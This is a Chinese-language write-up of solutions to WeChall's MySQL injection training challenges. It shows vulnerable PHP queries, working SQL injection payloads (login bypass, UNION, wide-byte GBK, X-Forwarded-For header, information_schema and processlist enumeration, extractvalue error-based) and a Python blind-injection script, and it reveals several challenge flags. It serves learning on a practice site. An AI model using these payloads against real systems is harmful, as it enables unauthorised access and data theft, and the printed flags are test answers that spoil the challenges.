Wechall MySQL Write up

还剩几道题,解决完后再更新一下*

识别MySQL注入漏洞,判断是否能将不可信的输入执行为控制指令的一部分?

用单引号能够让字符串参数在查询时出错,通过进一步识别这些错误来判断是否真正存在注入?

  1. Training: MySQL I

查看源码:

1
2
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

查询中没有对 username 过滤,提交username: admin' --

使查询语句变成 SELECT * FROM users WHERE username='admin' -- a AND password='$password'

“–”后面的内容会被注释掉,查询语句等价于: SELECT * FROM users WHERE username='admin'

从而作为 admin 登录。

MySQL中 “–”注释符号后需要有空格才能生效,URL中末尾的空格会被忽略,所以有时候常用 “– a”

这种注入估计只能时存在练习题里,还是不要想拿到实际的站去试了吧?

  1. Training: MySQL II
查看源码:
1
2
3
4
5
6
7
8
9
10
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";

#增加了对password的检查

if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
}
c4ca4238a0b923820dcc509a6f75849b

构造:

username'AND 1=2 UNION SELECT 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- a

password1

使前面返回空,从而 $result 中得到我们构造的内容, admin 后的字符串是对数字 1 进行 md5 运算的结果。

  1. No Escape

    源码中:

    1
    2
    $who = GDO::escape($who);
    $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

    输入单引号 “ ” 被转义之后,语句报错,发现变量$who 是用的反引号 “`” ,试了一下反引号不会被转义,于是构造payload:

    1
    index.php?vote_for=bill`=`bill`%2b94 -- a

  1. Addslashes

利用宽字节注入

GBK, GB2312, GB18030, BIG5…即为常说的宽子节,一个字符占两个字节

在MySQL5.x 处理字符过程中涉及到以下字符集信息:

character_set_client:客户端发送过来的SQL语句编码

character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。在之后进行内部操作的时候转码为内部字符集

character_set_database:数据库缺省编码字符集

character_set_results:SQL语句执行结果编码字符集

character_set_server:服务器缺省编码字符集

character_set_system:系统缺省编码字符集

在character_set_client=GBK时,MySQL字符集使用character_set_client字符集进行编码过程发生宽子节的问题

在宽子节中 ,首字节对应0x81-0xfe,尾子节0x40-0xfe,包含”\”对应的编码 0x5c

我们输入 %df%27 时,addslashes,mysql_real_escape_string,mysql_escape_string等函数,在%27 前面添加 %5c ,输入变成 %df%5c%27 , 此时MySQL使用 character_set_client=GBK 转换,%df%5c 对应一个汉字,使后面的引号保留

提交username:%df%27 union select CHAR(65, 100, 109, 105, 110) -- a

登录按钮为中文时 login参数编码有问题,改成随便的数字就可以

  1. The Guestbook

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#这里没有对HTTP消息头检查
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
#SQL语句,对输入的message进行转义,但是前面没有对ip做限制,所以可以在X-FORWORDED-FOR注入

$playerid = gbook_playerID(true); // Current Player

$userid = 0; # guestbook has no login yet.

$time = time();

$ip = gbook_getIP();

$message = GDO::escape($message);

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

#输出部分 时间,用户,ip 消息
echo sprintf('<td>%s - %s - %s</td>', GWF_Time::displayTimestamp($row['gbb_time']), $username, $row['gbb_ip']).PHP_EOL;

echo sprintf('<td>%s</td>', GWF_HTML::display($row['gbb_msg'])).PHP_EOL;

推荐Fireworks插件Modify Headers 或者用Brup Suite拦截修改Header

X-FORWORDED-FOR:1’, (SELECT gbook_password FROM gbook_user WHERE gbu_name=’Admin’)) – a

从而得到flag:TheBrownFoxAndTheLazyDog

  1. Table Names

在username提交一个单引号,返回错误 Database error in file core/inc/GDO/db/GDO_Database.php line 129.

为了提取库名和表名,先确定SQL返回的列数

username:test' order by 1 -- a ,到4报错,确定有3列

username:' union select 1,2,3 -- a ,发现页面返回1,3,确定在这两个字段返回结果

username:' union select 1,2,schema_name from information_schema.schemata limit 0,1 -- a 找库名,limit 1,1 时发现 gizmore_tableu61

username:' union select 1,2,table_name from information_schema.tables where table_schema='gizmore_tableu61' limit 1,1 -- a 找到表 usertableus4

flag: gizmore_tableu61_usertableus4

  1. Table Name II
1
2
3
4
5
6
7
#对输入检查,但是没有对 information_schema 
if(preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password)){
echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
}

#查询语句
$query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";

在information_schema库中有个processlist表,这个表显示了哪些线程正在运行,和执行的查询语句

username:' union select 1,2,info from information_schema.processlist -- a 得到

Your personal welcome message is: SELECT * FROM
nurfedtables37.userbobbytable7 WHERE username=’’ union select 1,2,info
from information_schema.processlist – a’ AND password=’test’

  1. MD5.SALT

使用ORDER BY确认结果集返回2列,构造

username:'union select password,1 from users where username='Admin' -- a

得到密码的MD5,去找个解密网站得到密码academicsalt21

  1. Order By Query
``    $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";`` 

注入点在 $orderby, order by查询利用

by=3 and extractvalue(1, (select password from users where username=CHAR(65, 100, 109, 105, 110)))#

by=3 and extractvalue(1,concat(0x5c,(select password from users where username=CHAR(65, 100, 109, 105, 110))))#

第一个查询中XPATH 返回的MD5 第一个是 3 没有被当作错误的参数,而返回了31个字符

第二个查询中,/ 处出现错误,返回从/开始的32个字符,因此需要把两次的结果拼接一下

  1. Blinded by the light
算是盲注了

最开始打算把`password` 字段每一位MD5值转换为 4 bits,从而在 32 * 4 次查询得到MD5,但是某一处考虑错了,没能得到正确的值可能是conv(),或者是8 bits,最后用二分查找,4次一个字母,128次得到结果。



附上.py



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from bs4 import BeautifulSoup
import requests

def exploit(param):
url = 'http://www.wechall.net/challenge/blind_light/index.php'
payload = {'injection':param, 'inject':'Inject'}
cookiee = {'WC':'10379893-33882-qpWzjcIJxPdSrOiy'}

s = requests.post(url, data = payload, cookies = cookiee)
soup = BeautifulSoup(s.text,'html.parser')

###如果[9]中没有返回的信息,那就在[13]##
answer = soup.find_all('li')[13]
#answer = soup.find_all('li')[9]
answer = str(answer)

print(answer)

if answer.find('Welcome') > 0:
return True
else:
return False

words = "0123456789ABCDEF"
password = ""

for i in range(1,33):
f = 0
e = 15
ii = str(i)
while(f < e):
if (e - f == 1):
if exploit("\' or substring(password,"+ ii +",1) = \'"+ words[int(f)]):
m = f
break
else:
m = e
break

m = (f + e)/2
'''保留小数,int是向下取整'''
if exploit("\' or substring(password,"+ ii +",1) > \'"+ words[int(m)]):
f = m + 1
#print(str(f)+"-"+str(e))
else:
e = m
#print(str(f)+":"+str(e))

f = int(f)
e = int(e)
password = password+words[int(m)]
print(password)
​ ​